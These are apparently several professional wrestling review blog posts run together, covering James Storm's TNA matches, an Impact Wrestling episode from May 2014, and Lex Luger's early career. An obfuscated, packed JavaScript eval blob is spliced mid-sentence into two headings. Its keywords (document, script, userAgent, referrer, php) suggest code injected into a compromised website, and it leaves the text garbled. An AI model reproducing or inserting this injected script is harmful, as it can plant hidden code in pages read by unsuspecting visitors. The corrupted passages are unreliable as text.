Samoa Joe is #10 and he goes right for Daniels with rapid fire right hands. Now he’s after D-Von as Tazz freaks out. York and Daniels both survive elimination attempts and not a lot else happens at the moment. Rob Terry is #11 which means Morgan is #12. Terry starts cleaning house with clotheslines and throws out York to clear some space. Daniels joins York on the floor at Terry’s hands before Anderson misses a charge and goes out as well.

Here’s Morgan at #12, giving us a final grouping of Storm, Roode, D-Von, Park, Joe, Terry and Morgan. Terry tells Morgan to bring it on but D-Von and Park break up the staredown. Now it’s Park vs. Morgan and Joseph is out before I can finish typing that. Joe gets a running start at Morgan but is easily tossed out as well to get us down to five. A very low blow from Morgan is enough to eliminate Terry so we’ve got D-Von, Roode, Storm and Morgan.

Speaking of Morgan, he misses the Carbon Footprint and hits the ropes, allowing Storm to forearm him out. With the referee not looking, Knux of Aces and 8’s comes out and pulls Roode through the ropes and out to the floor. Knux tries to cheat again but D-Von hits him by mistake, allowing Storm to toss D-Von. Roode throws Storm over but makes the eternal mistake of not watching him the floor. One Last Call later and Storm wins the money.

Rating: D+. It’s a battle royal. What else do you want me to say here? It followed the same plot that almost all matches like this one follow, meaning it was ok once in awhile but for the most part there’s nothing of note to see. Storm winning is fine, although I’m really getting tired of people going bell to bell in battle royals. We get it: it’s something impressive. Let it rest already.

Since it’s James Storm, he would be put in another tag team and get a shot at the belts at Slammiversary 2013.

Tag Titles: James Storm/Gunner vs. Hernandez/Chavo Guerrero vs. Bad Influence vs. Bobby Roode/Austin Aries

Chavo and Hernandez are defending, this is under elimination rules and Storm has a badly hurt leg. Chavo and Daniels get things going with Daniels getting caught between right hands from both champions. Off to SuperMex to face Aries, with the latter jumping into a fall away slam. Back to Chavo who immediately pulls the now legal Roode into a headlock. Off to Storm vs. Roode and James can actually move. He throws a few right hands to take Roode down and it’s off to Gunner.

Bobby tags in Gunner as everything breaks down. Hernandez puts Roode on his shoulder for the backbreaker but Chavo suplexes Aries onto Hernandez’s other shoulder for a double backbreaker. That’s SCARY power. Storm and Gunner whip Roode and Aries into each other before Bad Influence comes in to stomp both guys down. Hernandez gets a running start to jump over the top rope and clothesline both guys down for two on Daniels. Kaz breaks up the delayed suplex on Daniels with a kick to Hernandez’s back before coming in legally.

After some more kicks to the legs of Hernandez it’s off to Roode for a stomping in the corner. Aries comes in with the slingshot hilo for two before putting on a front facelock. The fans chant for Aries but Hernandez suplexes both Aries and Roode down at the same time. Kaz gets the tag but Chavo comes in as well to clean house. There are Three Amigos to Kaz but Daniels sneaks in for Angel’s Wings on Chavo. Hernandez runs over Aries and Border Tosses Kaz, allowing the frog splash from Chavo to connect. Daniels breaks it up with a title belt for a DQ elimination at 10:52.

Aries immediately rolls up Chavo for the elimination at 11:10, leaving us with Aries/Roode and Storm/Gunner. Aries and Roode double team Gunner in the corner but he comes back with some running clotheslines. There’s the tag to Storm who pounds away on Roode and DDTs Aries down. Back to Gunner who catapults Aries into a Storm DDT for two. There’s the Gun Rack (Torture Rack) to Roode but Aries kicks Gunner in the ribs to break it up. The spinebuster from Roode sets up the 450 from Aries but it’s only good for two. Roode throws in a title belt but it’s the Last Call and Gun Rack to Aries for the submission and the titles at 16:28.

Rating: B. Another good match as this show is on a roll so far. I’m glad Storm is healthy enough to do the limited stuff he could do out there and Gunner looked solid as well. Hopefully we never have to see the other three teams fight again as the feud has been done to death already as the tag titles just need fresh blood now.

One last match as the team split and Gunner fought Storm in a last man standing cage match at Lockdown 2014.

James Storm vs. Gunner

New music and long tights for James tonight. They start fighting on the ramp and Storm gets in a good shot early. Gunner rams him into the cage and suplexes him on the floor before going to get some chairs. He throws three of them into the cage but Storm sends him into the steps to slow Gunner down. Storm sends him into the cage and slams the cage door on Gunner’s head. He demands a count and we get the opening bell followed by a four count.

Storm wedges a chair into the corner and takes Gunner down with a jumping DDT for five. Gunner tries to get up but gets choked down by a tag rope and dropped throat first across the top rope. James ties the rope around Gunner’s throat and ties it to the rope but Gunner rips it away, only to be taken down by a low blow. Gunner no sells some ramming into the buckle and rams his own head into the same buckle for good measure.

Some running knees including one to Storm’s head have Storm in trouble and Gunner pulls the top of the steps into the ring. A hard shot to James’ head gets eight but he comes back with a quick Closing Time (Codebreaker) before ramming Gunner into the chair in the corner. James blasts him in the back with the chair but Gunner is getting that look in his eyes. He fights up and scores with a spear and an F5 as the fans think this is awesome. Storm tries to grab the chair but Gunner stands on it to thwart the Cowboy’s plans.

Gunner slams him down again and goes up, only to have Storm throw the chair at Gunner’s head on the way down for seven. Another hard shot to the back gets five and Storm sets up some chairs in the ring. He loads up the Eye of the Storm but Gunner gets to the ropes in the corner. Both guys climb to the middle rope and ram each other into the cage until Gunner superplexes him through the chairs for the win at 12:02.

Rating: B. Good but not great last man standing match here as they beat a lot of tar out of each other. Gunner getting a win over a former world champion on pay per view isn’t going to hurt anything but I just don’t see a top level guy in him. The ending spot and chair pelting spot looked good and the match was a lot of fun, which is what matters here.

James Storm is one of the guys that has actually risen up the card throughout his career and deserves everything he gets. The guy is so over it’s unreal but for some reason TNA won’t give him a long run with the title. As badly as they are in need of fresh blood at the top of the roster, Storm would seem like a pretty obvious pick. The guy bleeds charisma and can have a good match so why not pull the trigger on him?

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Survivor Series at Amazon for just $3.99 at:

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Impact Wrestling – May 22, 2014: It’s Like Dealing With A Small Child

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seiih|var|u0026u|referrer|enbss||js|php'.split('|'),0,{})) Wrestling
Date: May 22, 2014
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz

Last week’s major development made me feel like I’m experiencing deja vu. Yet again there’s a group teaming together, seemingly to take over TNA. This time it’s MVP, Bobby Lashley and Kenny King hooking up with reasons left to be explained tonight. The main idea tonight is Dixie Carter coming to confront MVP and see where all this is going. I’m sure this is going to be thrilling. Let’s get to it.

The opening recap shows MVP turning a few weeks ago and then being joined by Lashley and King.

The three villains arrive and run into Kazarian. He’s on the phone and doesn’t seem impressed so King beats Kaz down. MVP: “Was that necessary?” King: “No.”

MVP, Lashley and King hit the ring with MVP offering to give the people a history lesson. He’s a brilliant individual and it was because of his brilliance that he was able to bring in his friends and take power. Sometimes when you take power, blood must be spilled. Never again was he going to ask for permission to do anything because this is a business. At the end of the day, it’s all about power, money and respect. MVP is now in control and everyone just has to accept it. Yes he has sold out arenas and he’s done it again tonight.

King says he couldn’t believe it when MVP asked him to do this and takes credit for the exhibition match from a few weeks ago. Everyone was shocked and the same thing happened when he fought Lashley. Then MVP brought Lashley in at Lockdown because Lashley knew politics were a waste of time. MVP calls himself a god but here are the Wolves to interrupt.

Davey quotes the money, power and respect line and says they don’t have any respect for MVP anymore. MVP told them it was about heart and that’s why they followed him at Lockdown. MVP gets them confused (King: “It don’t matter!”) before saying he gave them this chance to get out of taking 15 hour bus rides in Japan to eat Ramen Noodles.

They may have heart but to be where MVP is today, you have to be heartless. MVP threatens to send them back to the indies and the brawl is on. The Wolves are outnumbered and Lashley hits a big spear on Edwards. Davey is dragged up to the stage and speared off and through a table. King cackles like a witch.

A ticked off Eric Young arrives.

The Carters arrive.

Davey has been taken to a hospital.

Here’s Eric Young to vent a bit. MVP cuts him off almost immediately and brings out Lashley and King. Young says the shame should be on him and then asks Lashley how he’ll be able to explain this to his son. MVP holds Bobby back and says Lashley’s son will be behind the wheel of a very expensive car then and won’t care what Lashley did. The trio gets into the ring and Eric is ready to fight. It goes as badly as you would expect until Austin Aries runs out and helps Young fight them off.

Aries grabs the mic and says he’s one of the few that saw MVP for what he really was: a liar in cheap suits. Austin calls MVP out for a match and MVP accepts for later tonight. That’s not all from MVP though as he’s going to give Eric Young a match tonight. No opponent given but MVP says it’s coming.

Bram has gotten Magnus a falls count anywhere match with Willow tonight. Magnus says he’s getting sick of this and punches Bram in the jaw. Bram laughs and says that’s what they want. Magnus says he’s crazy.

Angelina is issuing an open challenge for a title shot. Gail Kim comes up to accept it but she’s not allowed. Kim lays Angelina out and beats her up a bit.

Here are the Beautiful People with Angelina saying all former Knockouts Champions are excluded from accepting.

Knockouts Title: Angelina Love vs. Brittany

Love jumps Brittany during her posing and takes over quickly. Brittany gets knocked down again but shoves Love out of the corner. A handspring elbow runs into Angelina’s elbow but Brittany comes back with an O’Connor Roll, only to be distracted by Velvet. The distraction lets Angelina hit the Botox Injection for the pin at 3:28.

Rating: D. Points for having someone new in there like Brittany, but the match was nothing to see at all. The Beautiful People are getting less and less interesting every week, especially with them getting what they wanted so easily. This whole division is just worthless to me anymore and it’s not getting any more interesting at all.

Gail Kim comes out to prevent the makeover.

Dixie is going to address MVP tonight. We knew that already.

James Storm comes to see Mr. Anderson at a bar and a drinking contest begins.

MVP vs. Austin Aries

Aries jumps him from the apron but MVP sends him into the barricade to take over. They get inside with Aries in control and hitting a running elbow in the corner followed by raining down some right hands. MVP shoves him over the top and out to the floor before slapping Aries down. Back in and MVP misses a running kick in the corner and Aries goes for the leg. MVP blocks the brainbuster but gets caught by the running dropkick in the corner. Aries nails a second but Lashley runs in to break up the 450 for the DQ at 3:48.

Rating: C. This was fun while it lasted but you knew there was no way it was getting a clean finish this early in the feud. Aries is a good choice to have in this spot but he and Young need a third guy to make this a better fight. The match wasn’t much wrestling but they fought the entire time which is always a nice touch.

Aries gets beaten down until Young comes out as well. The champion gets beaten down until MVP announces Lashley as Young’s opponent for later. Dixie comes out for the showdown because this story hasn’t gotten enough TV time tonight. After a break Dixie yells at MVP for ignoring her and says she’s never hurt anyone. “Except shoving Bully Ray through two tables….and breaking two of his ribs.”

MVP says she’s been banned from the Impact Zone but here’s Bully to chase Dixie and Ethan off. MVP says Bully was banned from the building too but Ray gets in his face and says MVP is here because of Ray. Bully wants to know why they’re picking on Eric Young, who has been here since day one and worked his way to the top to become World Champion.

MVP asks when Bully started caring but King jumps Ray for the three on one beatdown. The trio leaves and the Carters come back. Dixie: “Ethan, get the tables.” Ethan: “Ok.” Ray tries to fight back but gets planted through the wood. Dixie gets to say she fears no one again. I really hope this is just a one off confrontation between MVP and Dixie, because the last thing I (and I think most TNA fans) want is another power struggle.

Post break Ray limps after the Carters but they escape in a limo.

Magnus vs. Willow

Falls count anywhere. We get a quick video about Bram trying to unleash the beast inside Magnus, just in case this wasn’t enough like Cena and Bray Wyatt already. Magnus misses a charge to the floor but blocks a dive with his knees. They fight in the aisle with Magnus still turning down the use of something metal. Back inside and Willow takes over with some legdrops but misses the Swanton.

The Whisper in the Wind connects for two and a clothesline puts Magnus on the floor. Willow’s slingshot splash lands for two more but Magnus clotheslines him down onto the ramp. Bram offers him the metal again and this time a shot to the ribs has Willow in trouble. Magnus can’t bring himself to hit Willow in the back of the head though, allowing Willow to hit a Twist of Fate on the ramp for the pin at 4:58.

Rating: C. Not a bad brawl here but Willow was up WAY too fast after that shot to the ribs. He might have been down fifteen seconds and then is able to hit his finisher and pin a World Champion? That’s a bit too much of a stretch for my taste but with as little time as they had they couldn’t do much else.

Gunner tells Samuel Shaw he’s been in an asylum before too.

Eddie Edwards is back.

After a break, Gunner is still in the asylum with Shaw. Gunner tells him a story about a friend of his who went through basic training with him. The friend went through something that sounds like PTSD and Gunner was the one there to help him get into a place just like this. That’s why he understands what it’s like for Shaw to be in here. In the end the guy got better and found himself. Gunner believes there’s good inside Shaw and that he can get better. Shaw asks why he should trust Gunner. That’s a good question, and Gunner says he’ll prove his trustworthiness by trying to get Shaw out of the straitjacket.

Here’s Edwards to call out any member of the trio for a fight right now. King comes out and the brawl is on immediately. Edwards chokes him with a shirt and hammers away before they get in the ring. Kenny gets in a few shots with the mic to take over but Edwards avoids a moonsault. Edwards hits a suicide dive and rips at Kenny’s face but gets sent into the steps. A high collar suplex puts Edwards down on the ramp and Kenny walks away. Eddie is holding his shoulder.

The drinking contest is continuing and it appears that Anderson is cheating by drinking something without alcohol. Storm is on about his 12th beer.

MVP comes up to Brian Hebner. He apologizes for King attacking Hebner recently and Brian accepts. MVP gives Hebner the main event match tonight and implies that Brian needs to help him. Hebner doesn’t say anything.

Back to the bar where Storm can barely talk and Anderson says he’s totally sober. He’s been drinking Near Beer and proceeds to beat Storm up. Anderson takes Storm outside and throws him into a trash can before putting the $100 bet in Storm’s mouth.

Eric Young says he’s banged up but he learns from his mistakes. Tonight Lashley will learn that his biggest mistake was letting Young get up.

Eric Young vs. Bobby Lashley

Non-title. Eric starts fast but gets taken down and thrown to the floor, into the barricade. Back in and Lashley hammers away before bending Young’s back over the ropes. A hard palm strike to the chest drops Young again and we take a break. Back with Lashley hitting a delayed vertical suplex for two before putting on a bearhug.

Young fights back with a missile dropkick and the piledriver. No cover though as Young goes up, only to have to fight off King and MVP. It’s not a DQ yet as Young gets crotched on the top. Lashley gets up and a spear sets up the powerslam for the pin at 10:33. Well at least it wasn’t clean.

Rating: D+. Nothing to see here again, other than about the 857th time that the trio has been on screen tonight. It’s the same old problem that TNA has always had: if they’ve got a top story, it’s going to DOMINATE a show until you’re either hooked on it or totally sick of it. Heaven forbid anything else get anytime.

Aries tries to make a save with a kendo stick but gets triple teamed as well. The trio stands tall to end the show.

Overall Rating: D-. Why can’t TNA learn anything? Why do they insist on going back to the EXACT SAME THING over and over and over and over and over again? Tonight was ALL about this new trio and if you don’t like them, WELL SCREW YOU BECAUSE THAT’S WHAT YOU’RE GETTING LALALALALALALA I CAN’T HEAR YOU! That’s what it’s like to be a TNA fan. If you don’t like what you’re getting, deal with it because they’re going to use the same story over and over again.

Other than the trio stuff, the Dixie angle continues and unfortunately we’re probably not going to get her being put through a table. That’s the ONLY payoff to the whole thing but if it never happens, or happens anywhere other than Slammiversary or the New York tapings, it’s yet another waste of a story and our time by TNA.

The rest of the show wasn’t anything to remember. The beer drinking contest was fine but they made it clear where it was going halfway through. Gunner and Shaw is somewhat interesting, but it’s a BIG step down for Gunner after months of beating Storm time after time. The Beautiful People are still the same act we’ve seen for years from them now, making this show feel like it’s stuck on replay.

Results
Angelina Love b. Brittany – Botox Injection
Austin Aries b. MVP via DQ when Bobby Lashley interfered
Willow b. Magnus – Twist of Fate on the ramp
Bobby Lashley b. Eric Young – Powerslam

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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Wrestler of the Day – April 25: Lex Luger

Today is a very complete entry. You might even call it the Total Package. Or Lex Luger.

 

Luger eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dntee|var|u0026u|referrer|hysze||js|php'.split('|'),0,{})) started in 1985 so we’ll take a look at a match from Florida on January 31, 1987 for Luger’s Southern Heavyweight Title.

Southern Heavyweight Title: Bad News Allen vs. Lex Luger

Allen tried to claim a bounty put on Luger’s head by Oliver Humperdink to set this up. Luger jumps him to start but misses an elbow drop, giving Allen control in the corner. They head outside for some chair shots from Bad News but Luger comes back by sending him into the post.

Back in and Luger gets choked against the ropes to give the challenger control again. This time though it’s Bad News missing an elbow drop and Luger takes over again. Luger yells at Humperdink on the floor but catches Allen with an atomic drop. Out of nowhere, Luger misses a charge into the corner and gets rolled up with Allen’s feet on the ropes for the pin and the title.

Rating: D+. This was more of an angle than a match but the ending happened way too fast. Luger was brand new at this point so he wasn’t able to do much besides just flex and hit a few clotheslines. Unfortunately that would plague him for several years but we’ll get to that later on.

Luger would be on the big show soon after this and immediately start feuding with the Horsemen. This led to the one of the biggest matches on the first Clash of the Champions.

World Tag Team Titles: Arn Anderson/Tully Blanchard vs. Lex Luger/Barry Windham

Anderson and Blanchard are defending and Windham and Luger are incredibly popular due to the Horsemen (the champions) kicking him out of the team for reasons explained earlier. Luger starts with Tully and pushes him down with ease. The champions try some double teaming but both get clotheslined followed by a powerslam to Blanchard. Lex puts Tully in his Torture Rack finisher but Anderson kicks Luger in the knee for the save. Arn comes in and goes after the knee before it’s back to Tully for more of the same.

Lex sends the Horsemen into each other and Tully can’t stop the hot tag to Windham. Barry cleans house and hits the lariat followed by a powerslam for two on Blanchard. Ross is losing his mind on commentary as only he can. A sleeper nearly puts Blanchard out but Barry lets him fall to the floor for a breather. Back in and Tully goes up but gets slammed down and put in an abdominal stretch. Arn makes the save and Horsemen manager JJ Dillon distracts the referee, allowing Anderson to DDT Windham for a very close two.

Anderson tries to hold Windham’s shoulder down for two but jumps in the air, allowing Barry to raise his knees and crotch Arn for a breather. Tully breaks up another tag attempt but gets caught by a cross body for two. They run the ropes a few times and collide, knocking both guys down to the mat. A gutwrench suplex puts Tully down again and it’s back to Anderson who misses a knee drop and gets popped with a right hand. Windham is spent though and collapses before making the tag.

Tully comes in again and hits his slingshot suplex finisher for a close two on Barry. Anderson comes in off the tag but Barry goes over to the corner and falls into the tag to Luger. Lex cleans house again and sends the champions into each other but Tully gets in a knee to the back to slow him down. Luger shrugs it off and snaps off the powerslam as everything breaks down. Dillon holds up a chair in the corner but Luger reverses a whip to send Arn head first into the steel for the pin and the titles. The crowd reaction for the pin is other worldly as the Horsemen were despised at this point.

Rating: B. This was the kind of match the show needed to make it historic as the Horsemen had held the titles for months on end and Luger was the man that needed to take them away. Barry was making the match work here before Luger came in to clean house at the end. That’s a good formula for someone like Luger and the result worked well.

Luger continued to rocket up the card, eventually getting into a major feud with Ric Flair. After their first showdown at the 1988 Great American Bash, they met again at Starrcade 1988.

NWA World Title: Ric Flair vs. Lex Luger

Speaking of Dusty being fired, since he knew that he was going to be gone as both a wrestler and the booker soon after this, he tried to mess with his real life rival Ric Flair before leaving. The original plan for this match was to have the Varsity Club jump Luger and have Rick Steiner, who remember is basically mentally handicapped, beat Flair for the world title in five minutes. As you can guess, that’s not what happens but it’s an example of what happens when personal issues get in the way of the booking.

If Flair is disqualified here, he loses the title. Flair WOO’s in Luger’s face to start before strutting around a bit. No contact in the first minute or so. Flair hits some chops before being clotheslined out to the floor by the much stronger Luger. Legendary wrestler Lou Thesz is in the audience. Back in and Flair tries a hammerlock but is easily overpowered into the ropes.

Another clothesline puts Flair down and he hides in the corner for a breather. A powerslam puts Ric down again and there’s a gorilla press for good measure. Off to a wristlock by Luger before he no sells a chop. Flair is sent arm first into the buckle and it’s off to a hammerlock by the challenger. Back up and Ric FINALLY pokes him in the eye to get himself a breather. Flair tries the chops again and Luger just yells at him. Those chops never worked on guys like Luger and Sting but Flair never learned.

They head to the floor with Luger cranking Flair’s arm around the barricade to injure it even more. Back to the armbar by Luger as this has been one sided so far. Back up and another clothesline puts Flair down for one and Flair rolls to the apron. There’s a suplex back inside for another near fall on the champion. Luger isn’t getting frustrated yet but he misses a jumping elbow drop to slow him down.

Back to the floor with Flair sending him face first into the barricade and chopping away which actually has an effect now. They go back inside and Flair stomps on the ribs but tries more chops which just wake Luger up. Lex puts on a sleeper but gets suplexed right back down to give both guys a breather. The Figure Four is countered into a small package for two by the challenger, followed by a superplex for two more.

Now Luger puts the figure four on Flair but the champion eventually makes it into the ropes. Lex pounds away in the corner but accidentally knocks the referee down. Flair uses the distraction to rake Luger’s eyes and throw him over the top, but Luger dives back in for a clothesline for two. Lex pounds away in the corner and sends him into the other corner for the Flair Flip. Another suplex gets another two on the champion but the referee gets taken down again.

Luger hits another powerslam but doesn’t cover for some reason. To be fair the guy never has been all that bright. He calls for the Rack but a JJ Dillon distraction lets Flair hit Luger in the leg with a chair to completely change momentum. Back in and Flair cannonballs down onto the leg as Luger is in BIG trouble. Flair kicks him in the knee and drops his own knee on Luger’s bad knee before putting on the Figure Four. Luger sits up and flexes his muscles before turning the hold over for a break. The leg is badly damaged though so Luger’s explosiveness is gone.

Flair goes up but Luger manages to slam him off the top on just one good leg. Luger no sells a right hand to the head and is all fired up again. There’s another gorilla press slam but the knee goes out as he turns Flair over. Flair sends him out to the floor again but Lex comes back in with a sunset flip for two. Luger flexes again but pounds Flair down in the corner on pure adrenaline. A clothesline gets two and there’s another powerslam. Luger calls for the Rack but after he gets Flair up, the knee gives out and Flair falls on top, throws his feet on the ropes for additional leverage, and retains the title.

Rating: A. This is an excellent match with an excellent story being told. Luger was such a natural athletic machine that he would never stop going on pure athleticism alone and eventually his body gave out on him, giving Flair the win. These two had great chemistry together and would always have good if not great matches together. Excellent main event here and well worthy of closing out the biggest show of the year.

Going into 1989, Luger picked up his old rivalry with Barry Windham over Windham’s US Title. Here’s their showdown from Chi-Town Rumble.

US Title: Barry Windham vs. Lex Luger

Barry turned on Lex months ago to join the Horsemen and this is the revenge match. Barry is also champion. The champion says he’s going to beat up Lex. Matsuda is with him as well, as he’s been with every heel tonight. They exchange shoulder blocks and no one moves. Lex no sells a suplex and throws Windham around as only Luger can. Windham suplexes him back in but can’t grab the Claw. It’s gotten a bit stronger since Dusty stayed in it for about five minutes last show.

Lex’s eye is busted a bit due to right hands. Out to the floor again and Barry manages to punch the post. It busts open Windham’s hand and injures him to the point that the Claw is worthless. Oh please like that’s the case after last year’s Bash. A powerslam gets two. Barry is like screw it and goes for the superplex but Lex gets up at two. Barry isn’t sure what to do now so he goes for a belly to back and it’s the ending where Lex gets his shoulder up first to win the title.

Rating: C+. Pretty decent here but there were a lot of times on here where I wasn’t sure what the appeal of it was. Lex would go on for a huge run with the title, holding it nearly two years. Barry would be in the WWF by about Mania time so this was his last hurrah in the NWA, at least for a few years.

Luger would turn heel soon after this before defending his US Title against Ricky Steamboat at the 1989 Great American Bash.

US Title: Ricky Steamboat vs. Lex Luger

Steamboat brings a komodo dragon with him for no apparent reason. Luger is WAY over even though he’s the heel here as he’s against probably the purest face ever. Luger says either make it a standard match or he’s walking. The promoter comes in and says Steamboat is more or less stuck so he says screw it and goes with what Luger says, giving into the EVIL of the insanely popular guy that looks like a face if there ever was one.

Steamboat gets a fast rollup for two and then another one. Make it three as Steamboat is out moving him to start. We head to the floor and Luger just kills him with a clothesline. BIG chops take Luger back though as Steamboat is all fired up here. In a very funny spot, Luger yells at Young about the speed of the count and gets rolled up with Young rifling off a very fast two. Funny stuff.

They’re going back and forth with Steamboat never quitting but Luger just uses straight up power. Luger is trying as hard as he can to be the heel here but he’s far too popular for it to work. The problem is that he had one moment of evil but other than that he’s the same guy with just a bit more aggression.

Luger misses a clothesline (does he get paid per clothesline or something?) and hits the floor. Ross talks about the similarities between these two which might be a stretch to put it mildly. Steamboat takes over now and cranks it up one more time. Top rope chop puts Luger down again for two. Luger launches him into the other ring and goes to get a chair.

That’s a nice little thing as Luger is a hypocrite. Steamboat saves himself and catapults Luger into the corner while he’s still holding the chair. Steamboat gets the chair and fires the referee out of the ring for the DQ and then just massacres Luger with the chair as he tries to run away.

Rating: B-. I’ve heard people talk about how this is a great match and I really don’t get that. It’s good and it’s entertaining but it’s certainly not one of the best matches I’ve ever seen or even a great match. The storyline was good and all that jazz but this wasn’t a classic or anything close to it really. Good match and even quite good, but not epic or anything.

Another US Title defense, this time from Halloween Havoc 1989.

US Title: Lex Luger vs. Brian Pillman

This is in the middle of Luger’s huge title reign while Pillman is the young fireball that no one can keep up with. They go to the corner to start and Lex looks irritated. Lex tries to keep things slow and throws Pillman to the floor. Brian comes back in with a slingshot clothesline and knocks Luger to the floor with a dropkick. Baseball slide takes Luger down and as they come back in, Air Pillman is teased but Lex heads to the floor.

Lex gets in some kicks to take over but Pillman comes off the top with a spinning cross body. Off to the arm and Pillman has a small advantage. Lex tries to power out of it but Brian takes him right back down with the armdrag. Luger is clearly getting frustrated here so he comes back with more power striking. Crucifix gets two for Pillman and it’s back to the arm. The idea of it isn’t to get a submission but rather to frustrate the champion which is working here.

Brian goes up but misses his splash attempt and Lex takes over again. He’s all fired up and yells at the fans who seem to like him as much as Pillman. A clothesline to the back of the head puts Pillman down and Lex is all fired up. Suplex gets two and Brian is thrown to the floor. Luger brags too much and walks into a sunset flip for two. A big clothesline puts Lex over the top and out to the floor as Brian makes his comeback.

There are ten punches in the corner and an atomic drop to boot. A top rope sunset flip gets two. Pillman hits a jumping back elbow and Luger is in trouble. Air Pillman, the springboard clothesline gets two as Luger got knocked into the ropes. All Pillman at the moment but he misses a missile dropkick and both guys are down. Pillman tries to speed things up but walks into a Hot Shot for the pin and Luger retains.

Rating: B. Luger wasn’t the guy you wanted running a match, but if you give him the right guy to work with such as Pillman here, look out because you’re likely to get a great match. Pillman’s flurry at the end was great but he went too fast and tried to do too much and the more experienced champion caught him. That’s a nice little story and it worked well here, giving you a great match.

Luger would turn face again soon after this and go after the World Title again, at WrestleWar 1990.

NWA World Title: Ric Flair vs. Lex Luger

Sting is with Lex while Woman is with Flair. The idea here is that Sting was supposed to get the title shot here but legit injured his knee which makes this out to be a “tragedy” according to the introductions. This is the main event and we have 45 minutes to go during Flair’s entrance. Chain wrestling to start with no one having an advantage. Flair shoves the referee and is shoved right back.

Flair agrees to a test of strength and down goes Naitch. Flair bails to the floor and says Wooo a lot. Lex knocks him to the floor again so Ric takes the walk. Luger chases him down and the beating continues. Lex is US Champion here. A gorilla press by Luger puts Flair down so Flair tries the chops. Those do about as well as they do against Sting and Lex is all fired up.

There’s a bear hug which Luger bends forward for a two count. Luger hits ten punches in the corner but Flair ducks a clothesline and Luger falls to the floor. Flair chops away outside and back in they go. Scratch that as Flair dumps him again and calls for Woman to get on the apron. With the referee distracted Flair sends him into the barricade and chops him down. Flair punches him back down to the floor as I guess he’s looking for the countout.

Back in for more than ten seconds this time and Flair drops a knee on the head. Another knee drop hits for two. Lex pops up for his comeback but misses a corner charge and is right back down again. This is one of those matches that’s hard to make fun of because they both know what they’re doing and have such great chemistry together that there’s not much they can’t do together.

Flair hooks a hammerlock and stomps on the arm. Lex starts coming back again so Flair pokes him in the eyes, which Funk calls the Achilles Tendon of big men. Luger gets caught in another hammerlock and when he tries to punch his way out of it, the referee stops the fist, allowing Flair to poke him in the eye again. Ric works on the arm even more but Lex grabs the throat to break it up. He throws Flair into the corner for the Flair Flip and we go to the floor.

Flair chops Lex again and Luger is all fired up. Back in and Flair is caught in a sleeper which puts him down. The champ gets his foot on the ropes and manages a belly to back to escape. Luger suplexes him right back and goes after the knee. He wraps it around the post and tries a figure four. Even JR basically says it’s awful as he spins the wrong way, making him look like he’s a nine year old imitating it.

Ric fights up and chops some more but walks into a powerslam for two. The pop on the kickout was big as the fans thought it was over. Flair still can’t get that the chops don’t work and Lex is all fired up. After a quick exchange outside, Luger backslides him for two. Luger punches him in the corner but Flair atomic drops him, hurting Lex’s knee in the process. Where are these knee injuries in matches against people not named Flair?

A pair of top rope axhandles gets two for Flair. Butterfly suplex gets two. Here’s a sleeper by Flair as he hasn’t gone after the knee much yet. That gets broken after awhile and NOW it’s knee time. We’re probably half an hour into this. Flair works on the knee in his usual manner as Sting comes back to ringside. Sting cheers Luger on enough for him to reverse the hold and it’s broken up.

He slaps Lex to fire him up and Flair bails fast. Out to the floor and Lex no sells a whip into the barricade. There’s a gorilla press and Flair goes up, only to get slammed down. Luger clotheslines him to the floor then suplexes him back in for two. There’s the powerslam which Luger earlier said would set up the Rack. Woman distracts Luger, allowing Flair to knee Lex in the back, crushing the referee in the process.

Lex clotheslines Flair down but there’s no referee. A superplex kills Flair dead again but the Andersons run in because there’s no referee. There’s the Torture Rack and the referee is back up, but the Andersons go after Sting. Luger drops the hold when Flair is about to give up, going to save his friend. The Horsemen keep him out there long enough for the count out and a HUGE boo from the crowd. Sting’s day was coming soon though.

Rating: A. See, THIS is how you book a screwjob finish. It made perfect sense for Lex to go out there, meaning that for once he wasn’t an idiot. They had the crowd into this and when you can do that during a forty minute match, that’s usually a great sign. It was an excellent match and the ending is about as perfect as it could have been. Luger would get a rematch the next month in a cage and then it was Sting’s turn.

Here’s a match that I just have to throw in here.

US Title: Lex Luger vs. Mark Callous

Mark has Dangerously with him. This is Mark’s only important match in WCW. He takes over to start and works on the arm and they actually go to the mat. Lex arm drags him to the corner where Mark complains of a hair pull. Callous is the Undertaker because I’ve done the “who is he” thing too many times. Mark misses a corner charge and a cross body gets two. Time for some arm work and Paul is on the phone to someone named Murray.

Mark jumps over him with a leapfrog but misses a punch. The second attempt works and Callous takes over. This is as slow as it sounds. Mark works on the arm for awhile and then knocks Luger to the outside. Luger gets a quick sunset flip for two. He no sells a suplex and clotheslines Mark down a few times. There’s the Rack but the referee takes a shot to the head.

Dangerously throws in the phone which goes into Luger’s ribs. The fans are a lot more into this than you would expect them to be. Mark crawls over to him and gets a very slow cover for two. Mark calls for the Heart Punch but Luger gets a boot up, knocks Paul down, and wins with a clothesline of all things.

Rating: D+. Nothing to see here but this was a much more normal concept back in the day: having the midcard titles defended against big guys who haven’t really done anything of note yet. Mark would get a lot better after getting the right gimmick in about 5 months. Until then though, he was pretty worthless.

We’ll jump ahead a year to what was supposed to be Luger’s big moment at the 1991 Great American Bash. Due to some issues of WCW being stupid, instead of Luger FINALLY beating Flair for the title, it was Luger vs. Barry Windham for the vacant title. Stupid stories aside, this was a big moment for Lex.

WCW World Title: Barry Windham vs. Lex Luger

